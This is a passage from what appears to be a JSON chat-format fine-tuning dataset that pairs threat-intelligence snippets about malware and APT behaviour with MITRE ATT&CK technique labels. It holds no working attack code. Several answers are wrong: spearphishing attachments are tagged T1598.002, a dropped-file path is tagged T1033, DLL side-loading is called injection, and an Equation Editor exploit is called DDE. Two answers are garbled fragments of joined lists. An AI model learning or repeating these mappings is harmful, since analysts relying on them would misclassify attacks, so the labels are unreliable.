                "content": "has used a Batch file to automate frequently executed post compromise cleanup activities."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Files contained within image files, like mounted ISO files, will not contain the Zone.Identifier Alternate Data Stream (ADS) flag that indicates the files have been downloaded from the internet (so called “mark-of-the-web”) as reported by Didier Stevens."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater uses various techniques to bypass UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and upload files to and from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has used Python-based malware to install and spread their coinminer."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has created a hidden file in the Startup folder of the current user."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains the showBackupIosFolder function to check for IOS device backups by running ls -la ~/Library/Application\\ Support/MobileSync/Backup/."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Sharpshooter, the threat actors used the Rising Sun modular backdoor."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending \".locked\" to the filename."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has used \"CallWindowProc\" and \"EnumResourceTypesA\" to interpret and execute shellcode."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used a DLL that included an XOR-encoded section."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor installer will drop a normal sidebar.exe file (a Windows Gadget tool, a feature already discontinued by Windows), a malicious loader (in \"C:\\ProgramData\\Apple\\Update\\wab32res.dll\"), and an encrypted configuration file"
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘net time' command to check the local time on the target system. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. Use an advanced endpoint threat detection (AETD) solution to monitor activity on network endpoints. In particular, review network access for use of mobile USB modems on corporate systems"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use `odbcconf.exe` to run DLLs on targeted hosts."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - Signed Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. The dumped hashes were used to authenticate to other machines via pass the hash"
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali can use large obfuscated libraries to hinder detection and analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"tracert\" to check internet connectivity."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR) for every Physical Drive. While that should be enough for the device not to boot again, HermeticWiper proceeds to enumerate the partitions for all possible drives"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T9000 performs checks for various antivirus and security products during installation."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used a command line utility and a network scanner written in python."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre has the ability to send information staged on a compromised host externally to C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor can perform a language check of the infected system and can query the CPU information (cupid)."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BITTER has executed OLE objects using Microsoft Equation Editor to download and run malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise injects DLL files into iexplore.exe."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also creates a folder in C:\\SDRSMLINK\\ and shares this folder with the rest of the network"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1564.006 - Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to \".exe. Here is an example decoy document: The purpose of the VisualBasic script is to execute the payload. Although the malicious part of the binary is only 2MB, the final file is more than 120MB in size, padded out with random data. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has added credentials to OAuth Applications and Service Principals."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IndigoZebra created Dropbox accounts for their operations."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversaries installed the backdoor as a service on the infected machine. They attempted to operate under the radar by naming the service \"Windows Time Service\", like the existing Windows service"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest"
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has used history -c to clear script shell logs."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal on Host: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy deletes any temporary files it creates"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hikit has the ability to download files to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most strings in  are encrypted using 3DES and XOR and reversed."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37's has added persistence via the Registry key \"HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has used a DGA to generate URLs from executed macros."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has established GitHub accounts to host its toolsets."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to get users to click on Microsoft Excel attachments containing malicious macro scripts."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used the WindowStyle parameter to conceal PowerShell windows."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has used its C2 channel to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Imminent Monitor has uploaded a file containing debugger logs, network information and system information to the C2."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Egregor has masqueraded the svchost.exe process to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MedusaLocker is a ransomware family that was first seen in the wild in early October 2019. In January 2020, a fork of MedusaLocker named Ako was observed, which has been updated to support the use of a Tor hidden service to facilitate a RaaS model. Operators of the Ako version of the malware have since implemented a DLS (Figure 12). At least nine victims have been published to the site since its inception."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download and execute an arbitary executable."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used Digicert code-signing certificates for some of its malware."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can enumerate active windows."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can steal system information."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System', 'T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil has the capability to destroy files and folders."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has compromised internal network systems to act as a proxy to forward traffic to C2."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLAINTEE encodes C2 beacons using XOR."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has created a scheduled task to execute additional malicious software, as well as maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used compromised Office 365 accounts in tandem with Ruler in an attempt to gain control of endpoints."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We suspect the attacker was trying to generate sympathy by reminding the reader that Munchon and the province it is in, Kangwon, were part of a unified province that included South Korea's Gangwon-do prior to the division of Korea in 1945.A second email contained a story about a person called 'Ewing Kim' who was looking for help:The email's attachments are two different HWP documents, both leveraging same vulnerability (CVE-2013-0808)"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to compress stolen data into a .cab file."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elise executes \"net user\" after initial communication is made to the remote server."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PIONEER KITTEN’s namesake operational characteristic is its reliance on SSH tunneling, through open-source tools such as Ngrok and the adversary’s custom tool SSHMinion, for communication with implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File is dropped to C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft Network\\microsoft_network\\1.0.0.0\\microsoft_network.exe"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VBShower used \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\\\[a-f0-9A-F]{8}\" to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 32 shows QUADAGENT issuing DNS requests with incrementing sequence numbers and the C2 providing the session identifier and pre-shared key within the IPv6 answers. The screenshot also shows the Trojan sending a DNS query to notify the C2 that it successfully received the data."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This simple backdoor is likely used as a second-chance backdoor to maintain access to the system, even if the primary malware is removed. It could also be used as a second-stage dropper to infect the system with additional malware"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used various types of scripting for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "down_new has the ability to gather information on installed applications."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NavRAT is able to download and execute files located in the attachment of a received email"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle has been compressed and obfuscated using RC4, AES, or XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has multiple C2 channels in place in case one fails."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT has the ability to collect the MAC address of an infected host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 gained initial network access to some victims via a trojanized update of SolarWinds Orion software."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script will then proceed to download a tar compressed archive from a download server according to the architecture of the compromised system"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's has a plugin that is capable of recording audio using available input sound devices."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 executed CHOPSTICK by using rundll32 commands such as \"rundll32.exe “C:\\Windows\\twain_64.dll”\". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth has used malicious files including VBS, LNK, and HTML for execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
